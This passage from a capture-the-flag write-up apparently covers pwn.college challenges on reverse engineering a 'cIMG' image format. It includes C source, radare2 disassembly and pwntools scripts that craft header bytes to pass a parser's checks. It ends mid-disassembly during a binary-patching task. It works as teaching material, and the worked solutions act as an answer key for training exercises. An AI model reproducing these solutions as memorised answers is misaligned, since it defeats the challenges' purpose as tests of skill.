assert len(data) == width * height, "ERROR: Failed to read data!"

pixels = [Pixel(character) for character in data]

invalid_character = next((pixel.ascii for pixel in pixels if not (0x20 <= pixel.ascii <= 0x7E)), None)
assert invalid_character is None, f"ERROR: Invalid character {invalid_character:#04x} in data!"

with open("/flag", "r") as f:
flag = f.read()
print(flag)


if __name__ == "__main__":
try:
main()
except AssertionError as e:
print(e, file=sys.stderr)
sys.exit(-1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from pwn import process

header = b"cIMG"
version = 1
width = 71
height = 21
data_length = width * height

# I -> 4 bytes
# B -> 1 byte
# H -> 2 bytes
file_header = struct.pack("<4sBHH", header,version, width, height)

pixel_data = b"A" * data_length

payload = file_header + pixel_data

file = open("payload.cimg", "wb")
file.write(payload)
file.close()

p = process(["/challenge/cimg", "payload.cimg"], stdin=process.PTY, stdout=process.PTY)
print(p.recvall())

b’pwn.college{**********************************************}’

Input Restrictions (C)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
// ...
#define CIMG_NUM_PIXELS(cimg) ((cimg)->header.width * (cimg)->header.height)
#define CIMG_DATA_SIZE(cimg) (CIMG_NUM_PIXELS(cimg) * sizeof(pixel_t))
// ...
int main(int argc, char **argv, char **envp)
{

struct cimg cimg = { 0 };
int won = 1;

if (argc > 1)
{
if (strcmp(argv[1]+strlen(argv[1])-5, ".cimg"))
{
printf("ERROR: Invalid file extension!");
exit(-1);
}
dup2(open(argv[1], O_RDONLY), 0);
}

read_exact(0, &cimg.header, sizeof(cimg.header), "ERROR: Failed to read header!", -1);

if (cimg.header.magic_number[0] != 'c' || cimg.header.magic_number[1] != 'I' || cimg.header.magic_number[2] != 'M' || cimg.header.magic_number[3] != 'G')
{
puts("ERROR: Invalid magic number!");
exit(-1);
}

if (cimg.header.version != 1)
{
puts("ERROR: Unsupported version!");
exit(-1);
}

if (cimg.header.width != 71)
{
puts("ERROR: Incorrect width!");
exit(-1);
}

if (cimg.header.height != 21)
{
puts("ERROR: Incorrect height!");
exit(-1);
}

unsigned long data_size = cimg.header.width * cimg.header.height * sizeof(pixel_t);
pixel_t *data = malloc(data_size);
if (data == NULL)
{
puts("ERROR: Failed to allocate memory for the image data!");
exit(-1);
}
read_exact(0, data, data_size, "ERROR: Failed to read data!", -1);

for (int i = 0; i < cimg.header.width * cimg.header.height; i++)
{
if (data[i].ascii < 0x20 || data[i].ascii > 0x7e)
{
fprintf(stderr, "ERROR: Invalid character 0x%x in the image data!\n", data[i].ascii);
exit(-1);
}
}

if (won) win();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from pwn import process

header = b"cIMG"
version = 1
width = 71
height = 21
data_length = width * height

# I -> 4 bytes
# B -> 1 byte
# H -> 2 bytes
# Q -> 8 bytes
file_header = struct.pack("<4sHBQ", header,version, width, height)

pixel_data = b"A" * data_length

payload = file_header + pixel_data

file = open("payload.cimg", "wb")
file.write(payload)
file.close()

p = process(["/challenge/cimg", "payload.cimg"], stdin=process.PTY, stdout=process.PTY)
print(p.recvall())

b’pwn.college{**********************************************}’

Input Restrictions (x86)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# ...
│ 0x004012fd 807c240663 cmp byte [rsp + 6], 0x63 ; 'c'
│┌─< 0x00401302 7515 jne 0x401319
││ 0x00401304 807c240749 cmp byte [rsp + 7], 0x49 ; 'I'
┌───< 0x00401309 750e jne 0x401319
│││ 0x0040130b 807c24084d cmp byte [rsp + 8], 0x4d ; 'M'
┌────< 0x00401310 7507 jne 0x401319
││││ 0x00401312 807c240947 cmp byte [rsp + 9], 0x47 ; 'G'
┌─────< 0x00401317 7414 je 0x40132d
│└└─└─> 0x00401319 488d3df60d.. lea rdi, str.ERROR:_Invalid_magic_number_ ; 0x402116 ; "ERROR: Invalid magic number!"
┌─┌┌─┌─> 0x00401320 e81bfeffff call sym.imp.puts ;[6]
┌────└──> 0x00401325 83cfff or edi, 0xffffffff ; -1
╎╎│╎╎ ╎ 0x00401328 e8d3feffff call sym.imp.exit ;[7]
╎╎└─────> 0x0040132d 48837c240a01 cmp qword [rsp + 0xa], 1
╎╎ ╎╎ ╎ 0x00401333 488d3df90d.. lea rdi, str.ERROR:_Unsupported_version_ ; 0x402133 ; "ERROR: Unsupported version!"
╎└──────< 0x0040133a 75e4 jne 0x401320
╎ ╎╎ ╎ 0x0040133c 66837c24122e cmp word [rsp + 0x12], 0x2e ; '.'
╎ ╎╎ ╎ 0x00401342 488d3d060e.. lea rdi, str.ERROR:_Incorrect_width_ ; 0x40214f ; "ERROR: Incorrect width!"
╎ └────< 0x00401349 75d5 jne 0x401320
╎ ╎ ╎ 0x0040134b 837c241414 cmp dword [rsp + 0x14], 0x14
╎ ╎ ╎ 0x00401350 488d3d100e.. lea rdi, str.ERROR:_Incorrect_height_ ; 0x402167 ; "ERROR: Incorrect height!"
╎ └───< 0x00401357 75c7 jne 0x401320
╎ ╎ 0x00401359 bf98030000 mov edi, 0x398 ; 920
╎ ╎ 0x0040135e e85dfeffff call sym.imp.malloc ;[8]
╎ ╎ 0x00401363 488d3d160e.. lea rdi, str.ERROR:_Failed_to_allocate_memory_for_the_image_data_ ; 0x402180 ; "ERROR: Failed to all
╎ ╎ 0x0040136a 4889c3 mov rbx, rax
╎ ╎ 0x0040136d 4885c0 test rax, rax
╎ └─< 0x00401370 74ae je 0x401320
╎ 0x00401372 ba98030000 mov edx, 0x398 ; 920
╎ 0x00401377 4889c6 mov rsi, rax
╎ 0x0040137a 4183c8ff or r8d, 0xffffffff ; -1
╎ 0x0040137e 31ff xor edi, edi
╎ 0x00401380 488d0d2e0e.. lea rcx, str.ERROR:_Failed_to_read_data_ ; 0x4021b5 ; "ERROR: Failed to read data!"
╎ 0x00401387 e83f020000 call sym.read_exact ;[5]
╎ 0x0040138c 0fb7542412 movzx edx, word [rsp + 0x12]
╎ 0x00401391 0faf542414 imul edx, dword [rsp + 0x14]
╎ 0x00401396 31c0 xor eax, eax
╎ ┌─> 0x00401398 39c2 cmp edx, eax
╎ ┌──< 0x0040139a 762f jbe 0x4013cb
╎ │╎ 0x0040139c 0fb60c03 movzx ecx, byte [rbx + rax]
╎ │╎ 0x004013a0 48ffc0 inc rax
╎ │╎ 0x004013a3 8d71e0 lea esi, [rcx - 0x20]
╎ │╎ 0x004013a6 4080fe5e cmp sil, 0x5e ; '^' ; 94
╎ │└─< 0x004013aa 76ec jbe 0x401398
╎ │ 0x004013ac 488b3d8d2c.. mov rdi, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
╎ │ ; [0x404040:8]=0
╎ │ 0x004013b3 488d15170e.. lea rdx, str.ERROR:_Invalid_character_0x_x_in_the_image_data__n ; str.ERROR:_Invalid_character_0x_x_
╎ │ ; 0x4021d1 ; "ERROR: Invalid character 0x%x in the image data!\n"
╎ │ 0x004013ba be01000000 mov esi, 1
╎ │ 0x004013bf 31c0 xor eax, eax
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from pwn import process

header = b"cIMG"
version = 1
width = 0x2e
height = 0x14
data_length = width * height

file_header = struct.pack("<4sQHI", header,version, width, height)

pixel_data = b"A" * data_length

payload = file_header + pixel_data

file = open("payload.cimg", "wb")
file.write(payload)
file.close()

p = process(["/challenge/cimg", "payload.cimg"], stdin=process.PTY, stdout=process.PTY)
print(p.recvall())

b’pwn.college{**********************************************}’

Interoperability: Patching Data

Another goal of reverse engineering is for interoperability. Time is a harsh mistress, and many things can happen to or around software as time goes on. For example, source code can get lost, as it is typically secretive and internal to a company in question, but binary files tend to persist, as they are widely (e.g., commercially) distributed. When source code is lost, interoperability must be achieved by reverse engineering the binary file to either reconstruct or adapt them.

In this challenge, we’ve recovered the source code of the game The Epic Quest for the Flag (/challenge/quest.py), but its customized cIMG-based graphics engine is missing! We’ve provided you a close approximation (a normal cIMG parser in /challenge/cimg), but it does not work out of the box. You’ll need to binary-patch it for compatibility! Can you uncover the flag?

NOTE: Note, /challenge/quest.py uses cimg as a graphics engine, but it’s built for a custom version of cimg that you do not have. You run it with /challenge/quest.py NOFLAG | /challenge/cimg to run it in “compatibility mode”: no flag, but compatible with the standard cimg. If you want the flag, you’ll need to modify the cimg to work with the quest, and run it via /challenge/quest.py | /home/hacker/your-patched-cimg.

HINT: You can either patch using your reverse engineering tool of choice or figure out the file address of the bytes you want to patch and use hexedit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
int main(int argc, char **argv, char **envp)
{

struct cimg cimg = { 0 };
cimg.framebuffer = NULL;
int won = 1;

if (argc > 1)
{
if (strcmp(argv[1]+strlen(argv[1])-5, ".cimg"))
{
printf("ERROR: Invalid file extension!");
exit(-1);
}
dup2(open(argv[1], O_RDONLY), 0);
}

read_exact(0, &cimg.header, sizeof(cimg.header), "ERROR: Failed to read header!", -1);

if (strncmp(cimg.header.magic_number, "cIMG", sizeof(cimg.header.magic_number)))
{
puts("ERROR: Invalid magic number!");
exit(-1);
}

if (cimg.header.version != 4)
{
puts("ERROR: Unsupported version!");
exit(-1);
}

initialize_framebuffer(&cimg);

while (cimg.header.remaining_directives--)
{
uint16_t directive_code;
read_exact(0, &directive_code, sizeof(directive_code), "ERROR: Failed to read &directive_code!", -1);

switch (directive_code)
{
case 1:
handle_1(&cimg);
break;
case 2:
handle_2(&cimg);
break;
case 3:
handle_3(&cimg);
break;
case 4:
handle_4(&cimg);
break;
case 5:
handle_5(&cimg);
break;
case 6:
handle_6(&cimg);
break;
case 7:
handle_7(&cimg);
break;
default:
fprintf(stderr, "ERROR: invalid directive_code %ux\n", directive_code);
exit(-1);
}
}
display(&cimg, NULL);
}

r2 -A -q -c “pdf @ sym.handle_1; pdf @ sym.handle_2; pdf @ sym.handle_3; pdf @ sym.handle_4; pdf @ sym.handle_5; pdf @ sym.handle_6; pdf @ sym.handle_7” /challenge/cimg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
            ; CALL XREF from main @ 0x401408(x)
┌ 386: sym.handle_1 (int64_t arg1);
│ `- args(rdi) vars(3:sp[0x40..0x6c])
│ 0x004015c6 f30f1efa endbr64
│ 0x004015ca 4157 push r15
│ 0x004015cc 4156 push r14
│ 0x004015ce 4155 push r13
│ 0x004015d0 4154 push r12
│ 0x004015d2 55 push rbp
│ 0x004015d3 53 push rbx
│ 0x004015d4 4889fb mov rbx, rdi ; arg1
│ 0x004015d7 4883ec48 sub rsp, 0x48
│ 0x004015db 0fb66f06 movzx ebp, byte [rdi + 6] ; arg1
│ 0x004015df 0fb65707 movzx edx, byte [rdi + 7] ; arg1
│ 0x004015e3 64488b0425.. mov rax, qword fs:[0x28]
│ 0x004015ec 4889442438 mov qword [canary], rax
│ 0x004015f1 31c0 xor eax, eax
│ 0x004015f3 0fafea imul ebp, edx
│ 0x004015f6 4863ed movsxd rbp, ebp
│ 0x004015f9 48c1e502 shl rbp, 2
│ 0x004015fd 4889ef mov rdi, rbp ; size_t size
│ 0x00401600 e82bfcffff call sym.imp.malloc ; void *malloc(size_t size)
│ 0x00401605 4885c0 test rax, rax
│ ┌─< 0x00401608 750e jne 0x401618
│ │ 0x0040160a 488d3df319.. lea rdi, str.ERROR:_Failed_to_allocate_memory_for_the_image_data_ ; 0x403004 ; "ERROR: Failed to allocate memory for the image data!" ; const char *s
│ │ 0x00401611 e87afbffff call sym.imp.puts ; int puts(const char *s)
│ ┌──< 0x00401616 eb57 jmp 0x40166f
│ ││ ; CODE XREF from sym.handle_1 @ 0x401608(x)
│ │└─> 0x00401618 89ea mov edx, ebp ; int64_t arg3
│ │ 0x0040161a 4889c6 mov rsi, rax ; void *buf
│ │ 0x0040161d 4183c8ff or r8d, 0xffffffff ; -1
│ │ 0x00401621 31ff xor edi, edi ; int fildes
│ │ 0x00401623 488d0d0f1a.. lea rcx, str.ERROR:_Failed_to_read_data_ ; 0x403039 ; "ERROR: Failed to read data!" ; int64_t arg4
│ │ 0x0040162a 4989c4 mov r12, rax
│ │ 0x0040162d e844ffffff call sym.read_exact
│ │ 0x00401632 0fb64307 movzx eax, byte [rbx + 7]
│ │ 0x00401636 0fb65306 movzx edx, byte [rbx + 6]
│ │ 0x0040163a 0fafd0 imul edx, eax
│ │ 0x0040163d 31c0 xor eax, eax
│ │ ; CODE XREF from sym.handle_1 @ 0x401653(x)
│ │┌─> 0x0040163f 39c2 cmp edx, eax
│ ┌───< 0x00401641 7e34 jle 0x401677
│ ││╎ 0x00401643 410fb64c8403 movzx ecx, byte [r12 + rax*4 + 3]
│ ││╎ 0x00401649 48ffc0 inc rax
│ ││╎ 0x0040164c 8d71e0 lea esi, [rcx - 0x20]
│ ││╎ 0x0040164f 4080fe5e cmp sil, 0x5e ; '^' ; 94
│ ││└─< 0x00401653 76ea jbe 0x40163f
│ ││ 0x00401655 488b3de439.. mov rdi, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
│ ││ ; [0x405040:8]=0
│ ││ 0x0040165c 488d15f219.. lea rdx, str.ERROR:_Invalid_character_0x_x_in_the_image_data__n ; str.ERROR:_Invalid_character_0x_x_in_the_image_data__n
│ ││ ; 0x403055 ; "ERROR: Invalid character 0x%x in the image data!\n"
│ ││ 0x00401663 be01000000 mov esi, 1
│ ││ 0x00401668 31c0 xor eax, eax
│ ││ 0x0040166a e811fcffff call sym.imp.__fprintf_chk
│ ││ ; CODE XREF from sym.handle_1 @ 0x401616(x)
│ │└──> 0x0040166f 83cfff or edi, 0xffffffff ; -1
│ │ 0x00401672 e8f9fbffff call sym.imp.exit ; void exit(int status)
│ │ ; CODE XREF from sym.handle_1 @ 0x401641(x)
│ └───> 0x00401677 4531ed xor r13d, r13d
│ 0x0040167a 4c8d74241f lea r14, [var_1fh]
│ ; CODE XREF from sym.handle_1 @ 0x40171f(x)
│ ┌─> 0x0040167f 0fb64307 movzx eax, byte [rbx + 7]
│ ╎ 0x00401683 4439e8 cmp eax, r13d
│ ┌──< 0x00401686 0f8e98000000 jle 0x401724
│ │╎ 0x0040168c 31ed xor ebp, ebp
│ │╎ ; CODE XREF from sym.handle_1 @ 0x401717(x)
│ ┌───> 0x0040168e 440fb67b06 movzx r15d, byte [rbx + 6]
│ ╎│╎ 0x00401693 4139ef cmp r15d, ebp
│ ┌────< 0x00401696 0f8e80000000 jle 0x40171c
│ │╎│╎ 0x0040169c 4589fa mov r10d, r15d
│ │╎│╎ 0x0040169f b919000000 mov ecx, 0x19 ; 25
│ │╎│╎ 0x004016a4 be19000000 mov esi, 0x19 ; 25
│ │╎│╎ 0x004016a9 4c89f7 mov rdi, r14
│ │╎│╎ 0x004016ac 450fafd5 imul r10d, r13d
│ │╎│╎ 0x004016b0 4c8d05d019.. lea r8, str.e_38_2__03d__03d__03dm_ce_0m ; 0x403087
│ │╎│╎ 0x004016b7 418d042a lea eax, [r10 + rbp]
│ │╎│╎ 0x004016bb 448954240c mov dword [var_ch], r10d
│ │╎│╎ 0x004016c0 4898 cdqe
│ │╎│╎ 0x004016c2 52 push rdx
│ │╎│╎ 0x004016c3 498d0484 lea rax, [r12 + rax*4]
│ │╎│╎ 0x004016c7 0fb65003 movzx edx, byte [rax + 3]
│ │╎│╎ 0x004016cb 52 push rdx
│ │╎│╎ 0x004016cc 0fb65002 movzx edx, byte [rax + 2]
│ │╎│╎ 0x004016d0 52 push rdx
│ │╎│╎ 0x004016d1 0fb65001 movzx edx, byte [rax + 1]
│ │╎│╎ 0x004016d5 52 push rdx
│ │╎│╎ 0x004016d6 440fb608 movzx r9d, byte [rax]
│ │╎│╎ 0x004016da ba01000000 mov edx, 1
│ │╎│╎ 0x004016df 31c0 xor eax, eax
│ │╎│╎ 0x004016e1 e87afaffff call sym.imp.__snprintf_chk
│ │╎│╎ 0x004016e6 89e8 mov eax, ebp
│ │╎│╎ 0x004016e8 448b54242c mov r10d, dword [var_ch]
│ │╎│╎ 0x004016ed 410f1006 movups xmm0, xmmword [r14]
│ │╎│╎ 0x004016f1 99 cdq
│ │╎│╎ 0x004016f2 4883c420 add rsp, 0x20
│ │╎│╎ 0x004016f6 ffc5 inc ebp
│ │╎│╎ 0x004016f8 41f7ff idiv r15d
│ │╎│╎ 0x004016fb 428d0412 lea eax, [rdx + r10]
│ │╎│╎ 0x004016ff 31d2 xor edx, edx
│ │╎│╎ 0x00401701 f7730c div dword [rbx + 0xc]
│ │╎│╎ 0x00401704 486bd218 imul rdx, rdx, 0x18
│ │╎│╎ 0x00401708 48035310 add rdx, qword [rbx + 0x10]
│ │╎│╎ 0x0040170c 0f1102 movups xmmword [rdx], xmm0
│ │╎│╎ 0x0040170f 498b4610 mov rax, qword [r14 + 0x10]
│ │╎│╎ 0x00401713 48894210 mov qword [rdx + 0x10], rax
│ │└───< 0x00401717 e972ffffff jmp 0x40168e
│ │ │╎ ; CODE XREF from sym.handle_1 @ 0x401696(x)
│ └────> 0x0040171c 41ffc5 inc r13d
│ │└─< 0x0040171f e95bffffff jmp 0x40167f
│ │ ; CODE XREF from sym.handle_1 @ 0x401686(x)
│ └──> 0x00401724 488b442438 mov rax, qword [canary]
│ 0x00401729 6448330425.. xor rax, qword fs:[0x28]
│ ┌─< 0x00401732 7405 je 0x401739
│ │ 0x00401734 e877faffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ │ ; CODE XREF from sym.handle_1 @ 0x401732(x)
│ └─> 0x00401739 4883c448 add rsp, 0x48
│ 0x0040173d 5b pop rbx
│ 0x0040173e 5d pop rbp
│ 0x0040173f 415c pop r12
│ 0x00401741 415d pop r13
│ 0x00401743 415e pop r14
│ 0x00401745 415f pop r15
└ 0x00401747 c3 ret
; CALL XREF from main @ 0x40140f(x)
┌ 517: sym.handle_2 (int64_t arg1, int64_t arg5, int64_t arg_3h);
│ `- args(rdi, r8, sp[0x3..0x3]) vars(6:sp[0x40..0x5d])
│ 0x00401748 f30f1efa endbr64
│ 0x0040174c 4157 push r15
│ 0x0040174e 4183c8ff or r8d, 0xffffffff ; -1 ; arg5
│ 0x00401752 ba01000000 mov edx, 1 ; int64_t arg3
│ 0x00401757 488d0d4619.. lea rcx, str.ERROR:_Failed_to_read_base_x_ ; 0x4030a4 ; "ERROR: Failed to read &base_x!" ; int64_t arg4
│ 0x0040175e 4156 push r14
│ 0x00401760 4155 push r13
│ 0x00401762 4154 push r12
│ 0x00401764 4989fc mov r12, rdi ; arg1
│ 0x00401767 31ff xor edi, edi ; int fildes
│ 0x00401769 55 push rbp
│ 0x0040176a 53 push rbx
│ 0x0040176b 4883ec38 sub rsp, 0x38
│ 0x0040176f 64488b0425.. mov rax, qword fs:[0x28]
│ 0x00401778 4889442428 mov qword [canary], rax
│ 0x0040177d 31c0 xor eax, eax
│ 0x0040177f 488d74240d lea rsi, [var_dh] ; void *buf
│ 0x00401784 e8edfdffff call sym.read_exact
│ 0x00401789 4183c8ff or r8d, 0xffffffff ; -1
│ 0x0040178d 31ff xor edi, edi ; int fildes
│ 0x0040178f 488d74240e lea rsi, [var_eh] ; void *buf
│ 0x00401794 488d0d2819.. lea rcx, str.ERROR:_Failed_to_read_base_y_ ; 0x4030c3 ; "ERROR: Failed to read &base_y!" ; int64_t arg4
│ 0x0040179b ba01000000 mov edx, 1 ; int64_t arg3
│ 0x004017a0 e8d1fdffff call sym.read_exact
│ 0x004017a5 4183c8ff or r8d, 0xffffffff ; -1
│ 0x004017a9 31ff xor edi, edi ; int fildes
│ 0x004017ab 488d74240b lea rsi, [var_bh] ; void *buf
│ 0x004017b0 488d0d2b19.. lea rcx, str.ERROR:_Failed_to_read_width_ ; 0x4030e2 ; "ERROR: Failed to read &width!" ; int64_t arg4
│ 0x004017b7 ba01000000 mov edx, 1 ; int64_t arg3
│ 0x004017bc e8b5fdffff call sym.read_exact
│ 0x004017c1 31ff xor edi, edi ; int fildes
│ 0x004017c3 4183c8ff or r8d, 0xffffffff ; -1
│ 0x004017c7 ba01000000 mov edx, 1 ; int64_t arg3
│ 0x004017cc 488d74240c lea rsi, [var_ch] ; void *buf
│ 0x004017d1 488d0d2819.. lea rcx, str.ERROR:_Failed_to_read_height_ ; 0x403100 ; "ERROR: Failed to read &height!" ; int64_t arg4
│ 0x004017d8 e899fdffff call sym.read_exact
│ 0x004017dd 0fb65c240b movzx ebx, byte [var_bh]
│ 0x004017e2 0fb654240c movzx edx, byte [var_ch]
│ 0x004017e7 0fafda imul ebx, edx
│ 0x004017ea 4863db movsxd rbx, ebx
│ 0x004017ed 48c1e302 shl rbx, 2
│ 0x004017f1 4889df mov rdi, rbx ; size_t size
│ 0x004017f4 e837faffff call sym.imp.malloc ; void *malloc(size_t size)
│ 0x004017f9 4885c0 test rax, rax
│ ┌─< 0x004017fc 750e jne 0x40180c
│ │ 0x004017fe 488d3dff17.. lea rdi, str.ERROR:_Failed_to_allocate_memory_for_the_image_data_ ; 0x403004 ; "ERROR: Failed to allocate memory for the image data!" ; const char *s
│ │ 0x00401805 e886f9ffff call sym.imp.puts ; int puts(const char *s)
│ ┌──< 0x0040180a eb58 jmp 0x401864
│ ││ ; CODE XREF from sym.handle_2 @ 0x4017fc(x)
│ │└─> 0x0040180c 89da mov edx, ebx ; int64_t arg3
│ │ 0x0040180e 4889c6 mov rsi, rax ; void *buf
│ │ 0x00401811 4183c8ff or r8d, 0xffffffff ; -1
│ │ 0x00401815 31ff xor edi, edi ; int fildes
│ │ 0x00401817 488d0d1b18.. lea rcx, str.ERROR:_Failed_to_read_data_ ; 0x403039 ; "ERROR: Failed to read data!" ; int64_t arg4
│ │ 0x0040181e 4889c5 mov rbp, rax
│ │ 0x00401821 e850fdffff call sym.read_exact
│ │ 0x00401826 0fb644240c movzx eax, byte [var_ch]
│ │ 0x0040182b 0fb654240b movzx edx, byte [var_bh]
│ │ 0x00401830 0fafd0 imul edx, eax
│ │ 0x00401833 31c0 xor eax, eax
│ │ ; CODE XREF from sym.handle_2 @ 0x401848(x)
│ │┌─> 0x00401835 39c2 cmp edx, eax
│ ┌───< 0x00401837 7e33 jle 0x40186c
│ ││╎ 0x00401839 0fb64c8503 movzx ecx, byte [rbp + rax*4 + 3]
│ ││╎ 0x0040183e 48ffc0 inc rax
│ ││╎ 0x00401841 8d71e0 lea esi, [rcx - 0x20]
│ ││╎ 0x00401844 4080fe5e cmp sil, 0x5e ; '^' ; 94
│ ││└─< 0x00401848 76eb jbe 0x401835
│ ││ 0x0040184a 488b3def37.. mov rdi, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
│ ││ ; [0x405040:8]=0
│ ││ 0x00401851 488d15fd17.. lea rdx, str.ERROR:_Invalid_character_0x_x_in_the_image_data__n ; str.ERROR:_Invalid_character_0x_x_in_the_image_data__n
│ ││ ; 0x403055 ; "ERROR: Invalid character 0x%x in the image data!\n"
│ ││ 0x00401858 be01000000 mov esi, 1
│ ││ 0x0040185d 31c0 xor eax, eax
│ ││ 0x0040185f e81cfaffff call sym.imp.__fprintf_chk
│ ││ ; CODE XREF from sym.handle_2 @ 0x40180a(x)
│ │└──> 0x00401864 83cfff or edi, 0xffffffff ; -1
│ │ 0x00401867 e804faffff call sym.imp.exit ; void exit(int status)
│ │ ; CODE XREF from sym.handle_2 @ 0x401837(x)
│ └───> 0x0040186c 4531ed xor r13d, r13d
│ 0x0040186f 4c8d7c240f lea r15, [var_fh]
│ ; CODE XREF from sym.handle_2 @ 0x401924(x)
│ ┌─> 0x00401874 0fb644240c movzx eax, byte [var_ch]
│ ╎ 0x00401879 4439e8 cmp eax, r13d
│ ┌──< 0x0040187c 0f8ea7000000 jle 0x401929
│ │╎ 0x00401882 4531f6 xor r14d, r14d
│ │╎ ; CODE XREF from sym.handle_2 @ 0x40191c(x)
│ ┌───> 0x00401885 0fb64c240b movzx ecx, byte [var_bh]
│ ╎│╎ 0x0040188a 4439f1 cmp ecx, r14d
│ ┌────< 0x0040188d 0f8e8e000000 jle 0x401921
│ │╎│╎ 0x00401893 0fb644240d movzx eax, byte [var_dh]
│ │╎│╎ 0x00401898 0fb65c240e movzx ebx, byte [var_eh]
│ │╎│╎ 0x0040189d 410fafcd imul ecx, r13d
│ │╎│╎ 0x004018a1 4c89ff mov rdi, r15
│ │╎│╎ 0x004018a4 410fb6742406 movzx esi, byte [r12 + 6]
│ │╎│╎ 0x004018aa 4c8d05d617.. lea r8, str.e_38_2__03d__03d__03dm_ce_0m ; 0x403087
│ │╎│╎ 0x004018b1 4401f0 add eax, r14d
│ │╎│╎ 0x004018b4 4401eb add ebx, r13d
│ │╎│╎ 0x004018b7 99 cdq
│ │╎│╎ 0x004018b8 0fafde imul ebx, esi
│ │╎│╎ 0x004018bb 4401f1 add ecx, r14d
│ │╎│╎ 0x004018be 41ffc6 inc r14d
│ │╎│╎ 0x004018c1 f7fe idiv esi
│ │╎│╎ 0x004018c3 4863c9 movsxd rcx, ecx
│ │╎│╎ 0x004018c6 be19000000 mov esi, 0x19 ; 25
│ │╎│╎ 0x004018cb 488d448d00 lea rax, [rbp + rcx*4]
│ │╎│╎ 0x004018d0 b919000000 mov ecx, 0x19 ; 25
│ │╎│╎ 0x004018d5 01d3 add ebx, edx
│ │╎│╎ 0x004018d7 52 push rdx
│ │╎│╎ 0x004018d8 0fb65003 movzx edx, byte [rax + 3]
│ │╎│╎ 0x004018dc 52 push rdx
│ │╎│╎ 0x004018dd 0fb65002 movzx edx, byte [rax + 2]
│ │╎│╎ 0x004018e1 52 push rdx
│ │╎│╎ 0x004018e2 0fb65001 movzx edx, byte [rax + 1]
│ │╎│╎ 0x004018e6 52 push rdx
│ │╎│╎ 0x004018e7 440fb608 movzx r9d, byte [rax]
│ │╎│╎ 0x004018eb ba01000000 mov edx, 1
│ │╎│╎ 0x004018f0 31c0 xor eax, eax
│ │╎│╎ 0x004018f2 e869f8ffff call sym.imp.__snprintf_chk
│ │╎│╎ 0x004018f7 89d8 mov eax, ebx
│ │╎│╎ 0x004018f9 31d2 xor edx, edx
│ │╎│╎ 0x004018fb 410f1007 movups xmm0, xmmword [r15]
│ │╎│╎ 0x004018ff 41f774240c div dword [r12 + 0xc]
│ │╎│╎ 0x00401904 4883c420 add rsp, 0x20
│ │╎│╎ 0x00401908 486bd218 imul rdx, rdx, 0x18
│ │╎│╎ 0x0040190c 4903542410 add rdx, qword [r12 + 0x10]
